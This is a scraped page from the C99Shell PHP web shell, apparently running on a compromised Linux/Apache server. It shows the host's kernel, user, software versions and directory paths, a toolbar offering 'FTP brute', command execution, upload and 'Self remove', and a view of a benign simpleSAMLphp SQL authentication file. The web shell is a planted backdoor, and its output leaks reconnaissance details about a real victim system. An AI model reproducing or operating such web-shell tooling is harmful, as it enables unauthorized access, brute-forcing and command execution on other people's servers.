!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/3ros/simplesamlphp/modules/sqlauth/lib/Auth/Source/   drwxr-xr-x
Free 13.66 GB of 61.93 GB (22.06%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     SQL.php (5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Simple SQL authentication source
 *
 * This class is an example authentication source which authenticates an user
 * against a SQL database.
 *
 * @package simpleSAMLphp
 * @version $Id$
 */
class sspmod_sqlauth_Auth_Source_SQL extends sspmod_core_Auth_UserPassBase {


    
/**
     * The DSN we should connect to.
     */
    
private $dsn;


    
/**
     * The username we should connect to the database with.
     */
    
private $username;


    
/**
     * The password we should connect to the database with.
     */
    
private $password;


    
/**
     * The query we should use to retrieve the attributes for the user.
     *
     * The username and password will be available as :username and :password.
     */
    
private $query;


    
/**
     * Constructor for this authentication source.
     *
     * @param array $info  Information about this authentication source.
     * @param array $config  Configuration.
     */
    
public function __construct($info$config) {
        
assert('is_array($info)');
        
assert('is_array($config)');

        
/* Call the parent constructor first, as required by the interface. */
        
parent::__construct($info$config);

        
/* Make sure that all required parameters are present. */
        
foreach (array('dsn''username''password''query') as $param) {
            if (!
array_key_exists($param$config)) {
                throw new 
Exception('Missing required attribute \'' $param .
                    
'\' for authentication source ' $this->authId);
            }

            if (!
is_string($config[$param])) {
                throw new 
Exception('Expected parameter \'' $param .
                    
'\' for authentication source ' $this->authId .
                    
' to be a string. Instead it was: ' .
                    
var_export($config[$param], TRUE));
            }
        }

        
$this->dsn $config['dsn'];
        
$this->username $config['username'];
        
$this->password $config['password'];
        
$this->query $config['query'];
    }


    
/**
     * Create a database connection.
     *
     * @return PDO  The database connection.
     */
    
private function connect() {
        try {
            
$db = new PDO($this->dsn$this->username$this->password);
        } catch (
PDOException $e) {
            throw new 
Exception('sqlauth:' $this->authId ': - Failed to connect to \'' .
                
$this->dsn '\': '$e->getMessage());
        }

        
$db->setAttribute(PDO::ATTR_ERRMODEPDO::ERRMODE_EXCEPTION);


        
$driver explode(':'$this->dsn2);
        
$driver strtolower($driver[0]);

        
/* Driver specific initialization. */
        
switch ($driver) {
        case 
'mysql':
            
/* Use UTF-8. */
            
$db->exec("SET NAMES 'utf8'");
            break;
        case 
'pgsql':
            
/* Use UTF-8. */
            
$db->exec("SET NAMES 'UTF8'");
            break;
        }

        return 
$db;
    }


    
/**
     * Attempt to log in using the given username and password.
     *
     * On a successful login, this function should return the users attributes. On failure,
     * it should throw an exception. If the error was caused by the user entering the wrong
     * username or password, a SimpleSAML_Error_Error('WRONGUSERPASS') should be thrown.
     *
     * Note that both the username and the password are UTF-8 encoded.
     *
     * @param string $username  The username the user wrote.
     * @param string $password  The password the user wrote.
     * @return array  Associative array with the users attributes.
     */
    
protected function login($username$password) {
        
assert('is_string($username)');
        
assert('is_string($password)');

        
$db $this->connect();

        try {
            
$sth $db->prepare($this->query);
        } catch (
PDOException $e) {
            throw new 
Exception('sqlauth:' $this->authId .
                
': - Failed to prepare query: ' $e->getMessage());
        }

        try {
            
$res $sth->execute(array('username' => $username'password' => $password));
        } catch (
PDOException $e) {
            throw new 
Exception('sqlauth:' $this->authId .
                
': - Failed to execute query: ' $e->getMessage());
        }

        try {
            
$data $sth->fetchAll(PDO::FETCH_ASSOC);
        } catch (
PDOException $e) {
            throw new 
Exception('sqlauth:' $this->authId .
                
': - Failed to fetch result set: ' $e->getMessage());
        }

        
SimpleSAML_Logger::info('sqlauth:' $this->authId ': Got ' count($data) .
            
' rows from database');

        if (
count($data) === 0) {
            
/* No rows returned - invalid username/password. */
            
SimpleSAML_Logger::error('sqlauth:' $this->authId .
                
': No rows in result set. Probably wrong username/password.');
            throw new 
SimpleSAML_Error_Error('WRONGUSERPASS');
        }

        
/* Extract attributes. We allow the resultset to consist of multiple rows. Attributes
         * which are present in more than one row will become multivalued. NULL values and
         * duplicate values will be skipped. All values will be converted to strings.
         */
        
$attributes = array();
        foreach (
$data as $row) {
            foreach (
$row as $name => $value) {

                if (
$value === NULL) {
                    continue;
                }

                
$value = (string)$value;

                if (!
array_key_exists($name$attributes)) {
                    
$attributes[$name] = array();
                }

                if (
in_array($value$attributes[$name], TRUE)) {
                    
/* Value already exists in attribute. */
                    
continue;
                }

                
$attributes[$name][] = $value;
            }
        }

        
SimpleSAML_Logger::info('sqlauth:' $this->authId ': Attributes: ' .
            
implode(','array_keys($attributes)));

        return 
$attributes;
    }

}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4836 ]--